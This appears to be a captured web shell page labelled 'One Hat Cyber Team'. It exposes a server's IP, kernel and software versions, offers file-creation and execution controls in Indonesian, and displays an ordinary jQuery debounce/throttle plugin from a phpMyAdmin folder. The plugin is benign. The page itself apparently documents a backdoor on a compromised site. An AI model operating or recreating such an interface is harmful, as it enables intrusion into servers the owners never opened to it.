One Hat Cyber Team
Your IP :
172.70.130.36
Server IP :
188.114.96.7
Server :
Linux advantage-project 5.14.0-503.26.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 19 16:28:19 UTC 2025 x86_64
Server Software :
Apache/2.4.62 (Rocky Linux) OpenSSL/3.2.2
PHP Version :
8.3.17
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
html
/
public
/
_rdm
/
pma
/
js
/
vendor
/
jquery
/
View File Name :
jquery.debounce-1.0.6.js
/** * Debounce and throttle function's decorator plugin 1.0.6 * * Copyright (c) 2009 Filatov Dmitry (alpha@zforms.ru) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ (function ($) { $.extend({ /** * Debounce's decorator * @param {Function} fn original function * @param {Number} timeout timeout * @param {Boolean} [invokeAsap=false] invoke function as soon as possible * @param {Object} [ctx] context of original function */ debounce: function (fn, timeout, invokeAsap, ctx) { if (arguments.length == 3 && typeof invokeAsap != 'boolean') { ctx = invokeAsap; invokeAsap = false; } var timer; return function () { var args = arguments; ctx = ctx || this; invokeAsap && !timer && fn.apply(ctx, args); clearTimeout(timer); timer = setTimeout(function () { invokeAsap || fn.apply(ctx, args); timer = null; }, timeout); }; }, /** * Throttle's decorator * @param {Function} fn original function * @param {Number} timeout timeout * @param {Object} [ctx] context of original function */ throttle: function (fn, timeout, ctx) { var timer, args, needInvoke; return function () { args = arguments; needInvoke = true; ctx = ctx || this; timer || (function () { if (needInvoke) { fn.apply(ctx, args); needInvoke = false; timer = setTimeout(arguments.callee, timeout); } else { timer = null; } })(); }; } }); })(jQuery);